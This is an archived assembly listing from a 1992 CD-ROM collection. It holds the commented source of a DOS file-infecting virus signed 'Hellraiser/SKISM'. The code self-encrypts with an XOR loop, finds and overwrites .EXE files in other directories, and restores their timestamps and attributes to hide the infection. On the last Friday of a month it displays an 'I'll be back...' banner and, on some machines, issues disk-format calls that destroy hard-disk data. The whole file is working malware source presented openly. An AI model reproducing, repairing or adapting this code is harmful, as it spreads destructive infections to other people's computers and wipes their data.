home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / HR.ASM < prev    next >
Assembly Source File  |  1992-08-03  |  19KB  |  413 lines

  1. ;NAME:          HR.DEC
  2. ;FILE SIZE:     0062Ch - 1580d
  3. ;START (CS:IP): 00100h
  4. ;CODE END:      0072Ch
  5. ;CODE ORIGIN:   00100h
  6. ;DATE:          Sun Aug 02 17:20:02 1992
  7.  
  8. CODE    SEGMENT BYTE PUBLIC 'CODE'
  9. ASSUME  CS:CODE,DS:CODE,ES:NOTHING,SS:NOTHING
  10.  
  11. P00100  PROC
  12.         ORG     0100h
  13.  
  14. START:  JMP     Short BEGIN
  15. ;---------------------------------------------------
  16.         NOP
  17. ENCRKEY:DB      0Ch,32h         ; 32h may not be needed... ;OR AH,32
  18. BEGIN:  CALL    CRYPT           ; Decrypt the virus
  19.         JMP     H00520
  20. ;---------------------------------------------------
  21. CRYPT:  PUSH    CX
  22.         MOV     SI,OFFSET MESSAGE
  23.         MOV     DI,SI
  24.         MOV     CX,0766h
  25.         CLD
  26. LOOP_1: LODSW
  27.         XOR     AX,DS:ENCRKEY   ;DS may not be needed
  28.         STOSW
  29.         DEC     CX
  30.         JNZ     LOOP_1
  31.         POP     CX
  32.         RET
  33. ;---------------------------------------------------
  34. INFECT: MOV     DX,0100h        ;Offset to begin at
  35.         MOV     BX,DS:[HANDLE]  ;BX=File handle
  36.         PUSH    BX              ;I don't know why, BX doesn't change.
  37.         MOV     CX,062Ch        ;CX=number of bytes to write
  38.         CALL    CRYPT           ;Encrypt before saving
  39.         POP     BX              ;I don't know why, BX doesn't change.
  40.         MOV     AX,4000h        ;AH = 40h, write to file.
  41.         INT     21h             ;Infect the file.
  42.         PUSH    BX              ;Again, BX never changes.
  43.         CALL    CRYPT           ; . . . . . . . . .
  44.         POP     BX
  45.         RET                     ;RET_Near
  46. ;---------------------------------------------------
  47. ; This is the big, red, block letters that shows when it goes off.
  48. MESSAGE:
  49. DB 0Fh,10h,18h,19h,1Fh,"I'll be back..."
  50. DB 18h,18h,14h,20h,20h,00Ch,0DEh,10h,20h,14h,20h,20h,0DEh,10h,20h
  51. DB 14h,19h,05h,0DEh,10h,20h,14h,20h,20h,0DEh,10h,19h,04h,14h,20h
  52. DB 20h,0DEh,10h,19h,05h,14h,19h,05h,0DEh,10h,20h,20h,14h,19h,06h
  53. DB 0DEh,10h,20h,14h,20h,20h,0DEh,10h,20h,14h,19h,05h,0DEh,10h,20h
  54. DB 14h,19h,05h,0DEh,10h,20h,14h,19h,05h,0DEh,18h,20h,20h,0DEh,10h
  55. DB 20h,14h,20h,20h,0DEh,10h,20h,14h,19h,05h,0DEh,10h,20h,14h,20h,20h
  56. DB 0DEh,10h,19h,04h,14h,20h,20h,0DEh,10h,19h,05h,14h,19h,06h,16h,0DEh
  57. DB 10h,20h,14h,19h,06h,0DEh,10h,20h,14h,20h,20h,0DEh,10h,20h,14h,19h
  58. DB 05h,0DEh,10h,20h,14h,19h,05h,0DEh,10h,20h,14h,19h,06h,0DEh,18h,20h
  59. DB 20h,0DEh,10h,20h,14h,20h,20h,0DEh,10h,20h,14h,20h,20h,0DEh,10h,19h
  60. DB 04h,14h,20h,20h,0DEh,10h,19h,04h,14h,20h,20h,0DEh,10h,19h,05h,14h,20h
  61. DB 20h,0DEh,10h,20h,20h,14h,20h,20h,0DEh,10h,20h,14h,20h,20h,0DEh,10h,20h
  62. DB 20h,14h,20h,20h,0DEh,10h,20h,14h,20h,20h,0DEh,10h,20h,14h,20h
  63. DB 20h,16h,0DEh,10h,19h,04h,14h,20h,20h,0DEh,10h,19h,04h,14h,20h,20h
  64. DB 0DEh,10h,20h,20h,14h,20h,20h,16h,0DEh,18h,14h,19h,05h,0DEh,10h,20h
  65. DB 14h,19h,05h,0DEh,10h,20h,14h,20h,20h,0DEh,10h,19h,04h,14h,20h,20h,0DEh
  66. DB 10h,19h,05h,14h,20h,20h,0DEh,10h,20h,20h,14h,20h,20h,0DEh,10h,20h,14h,20h
  67. DB 20h,0DEh,10h,20h,20h,14h,20h,20h,0DEh,10h,20h,14h,20h,20h,0DEh,10h,20h,14h
  68. DB 19h,05h,16h,0DEh,10h,20h,14h,19h,04h,0DEh,10h,20h,20h,14h,20h,20h
  69. DB 0DEh,10h,20h,20h,14h,20h,20h,0DEh,18h,20h,20h,0DEh,10h,20h,14h,20h,20h
  70. DB 0DEh,10h,20h,14h,20h,20h,0DEh,10h,19h,04h,14h,20h,20h,0DEh,10h,19h
  71. DB 04h,14h,20h,20h,0DEh,10h,19h,05h,14h,19h,04h,0DEh,10h,19h,02h,14h
  72. DB 19h,06h,0DEh,10h,20h,14h,20h,20h,0DEh,10h,19h,04h,14h,20h,20h,16h
  73. DB 0DEh,10h,20h,14h,20h,20h,0DEh,10h,19h,04h,14h,19h,04h,16h,0DEh,18h,14h
  74. DB 20h,20h,0DEh,10h,20h,14h,20h,20h,0DEh,10h,20h,14h,19h,05h,0DEh,10h
  75. DB 20h,14h,19h,05h,0DEh,10h,20h,14h,19h,06h,0DEh,10h,20h,14h,20h,20h,0DEh
  76. DB 10h,20h,14h,20h,20h,0DEh,10h,20h,20h,14h,20h,20h,0DEh,10h,20h,20h,14h,20h,20h
  77. DB 0DEh,10h,20h,14h,20h,20h,0DEh,10h,20h,14h,19h,05h,0DEh,10h,20h,14h,19h,05h,0DEh
  78. DB 10h,20h,14h,20h,20h,0DEh,10h,20h,14h,20h,20h,0DEh,18h,20h,20h,0DEh
  79. DB 10h,20h,14h,20h,20h,0DEh,10h,20h,14h,19h,05h,0DEh,10h,20h,14h,19h,05h
  80. DB 0DEh,10h,20h,14h,19h,06h,0DEh,10h,20h,14h,20h,20h,0DEh,10h,20h,20h,14h
  81. DB 20h,20h,0DEh,10h,20h,14h,20h,20h,0DEh,10h,20h,20h,14h,20h,20h,0DEh,10h,20h
  82. DB 14h,20h,20h,0DEh,10h,20h,14h,19h,05h,0DEh,10h,20h,14h,19h,05h,0DEh,10h,20h
  83. DB 14h,20h,20h,0DEh,10h,20h,20h,14h,20h,20h,0DEh,18h,20h,10h,19h,03h,14h
  84. DB 20h,10h,19h,02h,14h,20h,20h,10h,19h,05h,14h,20h,20h,10h,19h,06h,14h,20h
  85. DB 20h,10h,20h,20h,14h,20h,10h,19h,02h,14h,20h,10h,19h,03h,14h,20h,10h,19h
  86. DB 02h,14h,20h,10h,19h,02h,14h,20h,20h,10h,20h,20h,14h,20h,10h,19h
  87. DB 03h,14h,20h,20h,10h,19h,06h,14h,20h,20h,10h,19h,04h,14h,20h
  88. DB 10h,19h,02h,14h,20h,20h,18h,20h,10h,19h,03h,14h,20h,10h,19h,02h
  89. DB 14h,20h,10h,19h,06h,14h,20h,10h,19h,07h,14h,20h,10h,19h,02h,14h
  90. DB 20h,10h,19h,02h,14h,20h,10h,19h,03h,14h,20h,10h,19h,06h,14h,20h
  91. DB 10h,19h,02h,14h,20h,10h,19h,03h,14h,20h,10h,19h,07h,14h,20h,10h,19h
  92. DB 05h,14h,20h,10h,19h,03h,14h,20h,18h,20h,10h,19h,00Fh,14h,20h,10h,19h
  93. DB 07h,14h,20h,10h,19h,02h,14h,20h,10h,19h,07h,14h,20h,10h,19h,06h
  94. DB 14h,20h,10h,19h,07h,14h,20h,10h,19h,07h,14h,20h,10h,19h,00Ah,14h
  95. DB 20h,18h,20h,10h,19h,00Fh,14h,20h,10h,19h,07h,14h,20h,10h,19h,13h,14h
  96. DB 20h,10h,19h,10h,14h,20h,18h,10h,19h,40h,14h,20h,18h,18h,2Ah
  97. ;---------------------------------------------------
  98.         DB      00                                  ;00454
  99.         DB      "*.EXE"                             ;00455
  100.         DB      00h,"\",00h,03h                     ;0045A
  101.         DB      8 DUP("?")                          ;0045E 3F
  102.     DB    "   "                    ;00466 202020
  103. ;---------------------------------------------------
  104. ;This area is perplexing. Doesn't seem to be ever called, nor read from.
  105.         ADC     AX,[BP+DI]                          ;00469 1303          __
  106.     ADD    [BX+SI],AL                ;0046B 0000      __
  107.     ADD    [BP+SI],CH                ;0046D 002A      _*
  108.     SHR    BP,1                    ;0046F D1ED      __
  109.     DEC    DX                    ;00471 4A         J
  110.     ADC    DL,DS:[0E278h]                ;00472 121678E2     __x_
  111.     PUSH    SS                    ;00476 16         _
  112.     ADD    [BX+SI],AL                ;00477 0000      __
  113.     ADD    [BX+SI],AL                ;00479 0000      __
  114. ;---------------------------------------------------
  115.     DB    "ARMOR"                 ;0047B 41524D4F52
  116.     DB    00h                    ;00480
  117.     DB    "  "                    ;00481 2020
  118.     DB    00h                    ;00483
  119.     DB    00h                    ;00484
  120.     DB    00h                    ;00485
  121.     DB    00h                    ;00486
  122.     DB    00h                    ;00487
  123.     DB    03h                    ;00488
  124.     DB    8 DUP("?")                ;00489 3F
  125.     DB    "EXE"                    ;00491 455845
  126.     DB    07h                    ;00494
  127.     DB    04h                    ;00495
  128.     DB    00h                    ;00496
  129.     DB    "3"                    ;00497 33
  130.     DB    1Fh                    ;00498
  131.     DB    "*"                    ;00499 2A
  132.     DB    0D1h                    ;0049A
  133.     DB    0EDh                    ;0049B
  134.         DB      "J "                                ;0049C 4A20
  135.     DB    02h                    ;0049E
  136.     DB    "x"                    ;0049F 78
  137.     DB    0F0h                    ;004A0
  138.     DB    16h                    ;004A1
  139.     DB    02h                    ;004A2
  140.     DB    00h                    ;004A3
  141.     DB    00h                    ;004A4
  142.     DB    00h                    ;004A5
  143.     DB    "SAMPLE3.EXE"                ;004A6 53414D504C4533
  144.     DB    00h                    ;004B1
  145.     DB    00h                    ;004B2
  146.     DB    9Eh                    ;004B3
  147.     DB    "-]"                    ;004B4 2D5D
  148.     DB    04h                    ;004B6
  149.     DB    88h                    ;004B7
  150.     DB    04h                    ;004B8
  151.     DB    9Eh                    ;004B9
  152.     DB    "-"                    ;004BA 2D
  153.     DB    00h                    ;004BB
  154.     DB    "ARMOR"                 ;004BC 41524D4F52
  155.     DB    00h                    ;004C1
  156.     DB    58 DUP(00h)                ;004C2
  157. HANDLE: DB      05h                                 ;004FC
  158.     DB    00h                    ;004FD
  159.     DB    02h                    ;004FE
  160.     DB    "x"                    ;004FF 78
  161.     DB    0F0h                    ;00500
  162.     DB    16h                    ;00501
  163.     DB    " "                    ;00502 20
  164.     DB    00h                    ;00503
  165.     DB    0CDh                    ;00504
  166.     DB    " "                    ;00505 20
  167.     DB    00h                    ;00506
  168.     DB    00h                    ;00507
  169.     DB    "Written by Dennis Yelle"        ;00508 5772697474656E
  170.     DB    00h                    ;0051F
  171. ;---------------------------------------------------
  172. ; Create new encryption key
  173. H00520: MOV     AX,3000h                            ;00520 B80030        __0
  174.     INT    21h        ;2-DOS_Ver        ;00523 CD21      _!
  175.     CMP    AL,02h                    ;00525 3C02      <_
  176.     JB    H0056B                    ;00527 7242      rB
  177.     MOV    AH,2Ch                    ;00529 B42C      _,
  178.     INT    21h        ;1-Get_Time        ;0052B CD21      _!
  179.     MOV    DS:[0103h],DX                ;0052D 89160301     ____
  180. ; Check to see if it's the last Friday in month, if so, go off.
  181. H00531: MOV     AH,2Ah                              ;00531 B42A          _*
  182.         INT     21h             ;1-Get_Date         ;00533 CD21          _!
  183.         CMP     DL,19h                              ;00535 80FA19        ___
  184.     JL    H0053E                    ;00538 7C04      |_
  185.     CMP    AL,05h                    ;0053A 3C05      <_
  186.     JZ    H00541                    ;0053C 7403      t_
  187. H0053E: JMP    H005F2                    ;0053E E9B100     ___
  188. ;---------------------------------------------------
  189. ; GO OFF!
  190. H00541: MOV     AH,0Fh                                   ;00541 B40F
  191.         INT     10h             ;Get current vid mode    ;00543 CD10
  192.         CMP     AL,07h                                   ;00545 3C07
  193.         JZ      H00568          ;If mono, format         ;00547 741F
  194.         MOV     AX,0003h        ;80x25 16 color          ;00549 B80300
  195.         INT     10h             ;Set video mode          ;0054C CD10
  196.         MOV     AH,01h                                   ;0054E B401
  197.         MOV     CX,0808h        ;No cursor               ;00550 B90808
  198.         INT     10h             ;Set cursor size         ;00553 CD10
  199.         MOV     SI,013Ah                                 ;00555 BE3A01
  200.         MOV     AX,0B800h       ;Video segment           ;00558 B800B8
  201.         MOV     ES,AX           ;ES_Chg                  ;0055B 8EC0
  202.         MOV     DI,0000h        ;                        ;0055D BF0000
  203.         MOV     CX,0319h                                 ;00560 B91903
  204.         CALL    H0057E          ; . . . . . . . . .      ;00563 E81800
  205.         JMP     Short H00531                             ;00566 EBC9
  206. ;---------------------------------------------------
  207. H00568: JMP    Short H005DC                ;00568 EB72      _r
  208. ;---------------------------------------------------
  209.     NOP                        ;0056A 90         _
  210. H0056B: JMP    H0061E                    ;0056B E9B000     ___
  211. ;---------------------------------------------------
  212.     DB    "  -=PHALCON=-  "            ;0056E 20202D3D504841
  213.     DB    00h                    ;0057D
  214.  
  215. ;---------------------------------------------------
  216. ; Display message... TheDraw algorythm for unpacking image.
  217. H0057E: JCXZ    H005DB          ;Jumps to a ret     ;0057E E35B          _[
  218.         MOV     DX,DI                               ;00580 8BD7          __
  219.     XOR    AX,AX                    ;00582 33C0      3_
  220.     CLD                        ;00584 FC         _
  221. H00585: LODSB                   ;Take a byte        ;00585 AC            _
  222.         CMP     AL,20h          ;If it's <space     ;00586 3C20          <
  223.         JB      H0058F          ;Jump               ;00588 7205          r_
  224.         STOSW                   ;Move to screen     ;0058A AB            _
  225. H0058B: LOOP    H00585                              ;0058B E2F8          __
  226.     JMP    Short H005DB                ;0058D EB4C      _L
  227. ;---------------------------------------------------
  228. H0058F: CMP     AL,10h          ;If it's not<10h    ;0058F 3C10          <_
  229.         JNB     H0059A          ;Jump               ;00591 7307          s_
  230.     AND    AH,0F0h                 ;00593 80E4F0     ___
  231.     OR    AH,AL                    ;00596 0AE0      __
  232.     JMP    Short H0058B                ;00598 EBF1      __
  233. ;---------------------------------------------------
  234. H0059A: CMP     AL,18h                              ;0059A 3C18          <_
  235.     JZ    H005B1                    ;0059C 7413      t_
  236.     JNB    H005B9                    ;0059E 7319      s_
  237.     SUB    AL,10h                    ;005A0 2C10      ,_
  238.     ADD    AL,AL                    ;005A2 02C0      __
  239.     ADD    AL,AL                    ;005A4 02C0      __
  240.     ADD    AL,AL                    ;005A6 02C0      __
  241.     ADD    AL,AL                    ;005A8 02C0      __
  242.     AND    AH,8Fh                    ;005AA 80E48F     ___
  243.     OR    AH,AL                    ;005AD 0AE0      __
  244.         JMP     Short H0058B                        ;005AF EBDA          __
  245. ;---------------------------------------------------
  246. H005B1: ADD    DX,00A0h                ;005B1 81C2A000     ____
  247.     MOV    DI,DX                    ;005B5 8BFA      __
  248.     JMP    Short H0058B                ;005B7 EBD2      __
  249. ;---------------------------------------------------
  250. H005B9: CMP    AL,1Bh                    ;005B9 3C1B      <_
  251.     JB    H005C4                    ;005BB 7207      r_
  252.     JNZ    H0058B                    ;005BD 75CC      u_
  253.     XOR    AH,80h                    ;005BF 80F480     ___
  254.     JMP    Short H0058B                ;005C2 EBC7      __
  255. ;---------------------------------------------------
  256. H005C4: CMP    AL,19h                    ;005C4 3C19      <_
  257.     MOV    BX,CX                    ;005C6 8BD9      __
  258.     LODSB                        ;005C8 AC         _
  259.     MOV    CL,AL                    ;005C9 8AC8      __
  260.     MOV    AL,20h                    ;005CB B020      _ 
  261.     JZ    H005D1                    ;005CD 7402      t_
  262.     LODSB                        ;005CF AC         _
  263.     DEC    BX                    ;005D0 4B         K
  264. H005D1: XOR    CH,CH                    ;005D1 32ED      2_
  265.     INC    CX                    ;005D3 41         A
  266.     REPZ    STOSW                    ;005D4 F3AB      __
  267.     MOV    CX,BX                    ;005D6 8BCB      __
  268.     DEC    CX                    ;005D8 49         I
  269.     LOOPNZ    H00585                    ;005D9 E0AA      __
  270. H005DB: RET            ;RET_Near        ;005DB C3         _
  271. ;End of display message procedure
  272.  
  273. ;---------------------------------------------------
  274. H005DC: MOV    AH,15h                    ;005DC B415      __
  275.     MOV    DL,80h                    ;005DE B280      __
  276.     INT    13h        ;BAT-Dsk_Type        ;005E0 CD13      __
  277.     CMP    AH,03h                    ;005E2 80FC03     ___
  278.     JNZ    H005F2                    ;005E5 750B      u_
  279.     MOV    AX,0504h                ;005E7 B80405     ___
  280.     MOV    CX,DS:[0103h]                ;005EA 8B0E0301     ____
  281.     MOV    DL,80h                    ;005EE B280      __
  282.     INT    13h        ;B-Fmt_FD_Trk        ;005F0 CD13      __
  283. H005F2: MOV    DX,045Dh                ;005F2 BA5D04     _]_
  284.     MOV    AH,1Ah                    ;005F5 B41A      __
  285.     INT    21h        ;1-Set_DTA        ;005F7 CD21      _!
  286.     MOV    AH,19h                    ;005F9 B419      __
  287.     INT    21h        ;1-Get_Cur_Dr        ;005FB CD21      _!
  288.     MOV    DL,AL                    ;005FD 8AD0      __
  289.     INC    DL                    ;005FF FEC2      __
  290.     MOV    AH,47h                    ;00601 B447      _G
  291.     MOV    SI,04BCh                ;00603 BEBC04     ___
  292.     INT    21h        ;2-Cur_Dir        ;00606 CD21      _!
  293.     MOV    DX,045Bh                ;00608 BA5B04     _[_
  294.     MOV    AH,3Bh                    ;0060B B43B      _;
  295.     INT    21h        ;2-Chg_Dir        ;0060D CD21      _!
  296.     MOV    CX,0013h                ;0060F B91300     ___
  297.     MOV    DX,0453h                ;00612 BA5304     _S_
  298.     MOV    AH,4Eh                    ;00615 B44E      _N
  299.     INT    21h        ;2-Srch_1st_Fl_Hdl  ;00617 CD21      _!
  300.     CMP    AX,0012h                ;00619 3D1200     =__
  301.     JNZ    H00621                    ;0061C 7503      u_
  302. H0061E: JMP    Short H00671                ;0061E EB51      _Q
  303. ;---------------------------------------------------
  304.     NOP                        ;00620 90         _
  305. H00621: MOV    AH,4Fh                    ;00621 B44F      _O
  306.     INT    21h        ;2-Srch_Nxt_Fl_Hdl  ;00623 CD21      _!
  307.     CMP    AX,0012h                ;00625 3D1200     =__
  308.     JZ    H00671                    ;00628 7447      tG
  309.     MOV    DX,047Bh                ;0062A BA7B04     _{_
  310.     MOV    AH,3Bh                    ;0062D B43B      _;
  311.     INT    21h        ;2-Chg_Dir        ;0062F CD21      _!
  312.     MOV    AH,2Fh                    ;00631 B42F      _/
  313.     INT    21h        ;2-Get_DTA        ;00633 CD21      _!
  314.     MOV    DS:[04B3h],ES                ;00635 8C06B304     ____
  315.     MOV    DS:[04B5h],BX                ;00639 891EB504     ____
  316.     MOV    DX,0488h                ;0063D BA8804     ___
  317.     MOV    AH,1Ah                    ;00640 B41A      __
  318.     INT    21h        ;1-Set_DTA        ;00642 CD21      _!
  319.     MOV    CX,0007h                ;00644 B90700     ___
  320.     MOV    DX,0455h                ;00647 BA5504     _U_
  321.     MOV    AH,4Eh                    ;0064A B44E      _N
  322.     INT    21h        ;2-Srch_1st_Fl_Hdl  ;0064C CD21      _!
  323.     CMP    AX,0012h                ;0064E 3D1200     =__
  324.         JNZ     H00674                              ;00651 7521          u!
  325. H00653: MOV     AH,4Fh                              ;00653 B44F          _O
  326.     INT    21h        ;2-Srch_Nxt_Fl_Hdl  ;00655 CD21      _!
  327.     CMP    AX,0012h                ;00657 3D1200     =__
  328.     JNZ    H00674                    ;0065A 7518      u_
  329.     MOV    DX,045Bh                ;0065C BA5B04     _[_
  330.     MOV    AH,3Bh                    ;0065F B43B      _;
  331.     INT    21h        ;2-Chg_Dir        ;00661 CD21      _!
  332.     MOV    AH,1Ah                    ;00663 B41A      __
  333.     MOV    DS,DS:[04B3h]    ;DS_Chg         ;00665 8E1EB304     ____
  334.     MOV    DX,DS:[04B5h]                ;00669 8B16B504     ____
  335.     INT    21h        ;1-Set_DTA        ;0066D CD21      _!
  336.     JMP    Short H00621                ;0066F EBB0      __
  337. ;---------------------------------------------------
  338. H00671: JMP    Short H006EC                ;00671 EB79      _y
  339. ;---------------------------------------------------
  340.     NOP                        ;00673 90         _
  341. H00674: MOV    AH,2Fh                    ;00674 B42F      _/
  342.     INT    21h        ;2-Get_DTA        ;00676 CD21      _!
  343.     MOV    DS:[04B9h],ES                ;00678 8C06B904     ____
  344.     MOV    DS:[04B7h],BX                ;0067C 891EB704     ____
  345.     MOV    DX,04A6h                ;00680 BAA604     ___
  346.     MOV    BX,0488h                ;00683 BB8804     ___
  347.     MOV    AX,[BX+18h]                ;00686 8B4718     _G_
  348.     MOV    DS:[0500h],AX                ;00689 A30005     ___
  349.     MOV    AX,[BX+16h]                ;0068C 8B4716     _G_
  350.     MOV    DS:[04FEh],AX                ;0068F A3FE04     ___
  351.     MOV    AX,[BX+15h]                ;00692 8B4715     _G_
  352.     MOV    AX,4300h                ;00695 B80043     __C
  353.     INT    21h        ;2-Fl_Hdl_Attr        ;00698 CD21      _!
  354.     MOV    DS:[0502h],CX                ;0069A 890E0205     ____
  355.     MOV    AX,4301h                ;0069E B80143     __C
  356.     XOR    CX,CX                    ;006A1 33C9      3_
  357.     INT    21h        ;1-TERM_norm:21h-00h;006A3 CD21      _!
  358. ;---------------------------------------------------
  359.     MOV    AX,3D00h                ;006A5 B8003D     __=
  360.     INT    21h        ;2-Open_Fl_Hdl        ;006A8 CD21      _!
  361.     JB    H006CF                    ;006AA 7223      r#
  362.         MOV     DS:[HANDLE],AX                      ;006AC A3FC04        ___
  363.     MOV    AH,3Fh                    ;006AF B43F      _?
  364.         MOV     BX,DS:[HANDLE]                      ;006B1 8B1EFC04      ____
  365.     MOV    CX,0002h                ;006B5 B90200     ___
  366.     MOV    DX,0504h                ;006B8 BA0405     ___
  367.     INT    21h        ;2-Rd_Fl_Hdl        ;006BB CD21      _!
  368.     MOV    AH,3Eh                    ;006BD B43E      _>
  369.         MOV     BX,DS:[HANDLE]                      ;006BF 8B1EFC04      ____
  370.     INT    21h        ;2-Close_Fl_Hdl     ;006C3 CD21      _!
  371.     MOV    BX,DS:[0504h]                ;006C5 8B1E0405     ____
  372.     CMP    BX,03EBh                ;006C9 81FBEB03     ____
  373.     JNZ    H006DE                    ;006CD 750F      u_
  374. H006CF: MOV    AH,1Ah                    ;006CF B41A      __
  375.     MOV    DS,DS:[04B9h]    ;DS_Chg         ;006D1 8E1EB904     ____
  376.     MOV    DX,DS:[04B7h]                ;006D5 8B16B704     ____
  377.     INT    21h        ;1-Set_DTA        ;006D9 CD21      _!
  378.     JMP    H00653                    ;006DB E975FF     _u_
  379. ;---------------------------------------------------
  380. H006DE: MOV    DX,04A6h                ;006DE BAA604     ___
  381.     MOV    AX,3D02h                ;006E1 B8023D     __=
  382.     INT    21h        ;2-Open_Fl_Hdl        ;006E4 CD21      _!
  383.         MOV     DS:[HANDLE],AX                      ;006E6 A3FC04        ___
  384.         CALL    INFECT          ; . . . . . . . . . ;006E9 E834FA        _4_
  385. H006EC: MOV    AX,5701h                ;006EC B80157     __W
  386.         MOV     BX,DS:[HANDLE]                      ;006EF 8B1EFC04      ____
  387.     MOV    CX,DS:[04FEh]                ;006F3 8B0EFE04     ____
  388.     MOV    DX,DS:[0500h]                ;006F7 8B160005     ____
  389.     INT    21h        ;2-Fl_Hdl_Date_Time ;006FB CD21      _!
  390.     MOV    AX,4301h                ;006FD B80143     __C
  391.     MOV    CX,DS:[0502h]                ;00700 8B0E0205     ____
  392.     MOV    DX,04A6h                ;00704 BAA604     ___
  393.     INT    21h        ;2-Fl_Hdl_Attr        ;00707 CD21      _!
  394.     MOV    AH,3Bh                    ;00709 B43B      _;
  395.     MOV    DX,045Bh                ;0070B BA5B04     _[_
  396.     INT    21h        ;2-Chg_Dir        ;0070E CD21      _!
  397.     MOV    AH,3Bh                    ;00710 B43B      _;
  398.     MOV    DX,04BCh                ;00712 BABC04     ___
  399.     INT    21h        ;2-Chg_Dir        ;00715 CD21      _!
  400.     MOV    AX,4C00h                ;00717 B8004C     __L
  401.     INT    21h        ;2-TERM_w_Ret_Cd    ;0071A CD21      _!
  402. ;---------------------------------------------------
  403.     DB    "Hellraiser/SKISM"            ;0071C 48656C6C726169
  404. ;---------------------------------------------------
  405.  
  406. P00100  ENDP
  407.  
  408. CODE    ENDS
  409.         END     H00100
  410.  
  411. ;-------------------------------------------------------------------------------
  412.  
  413.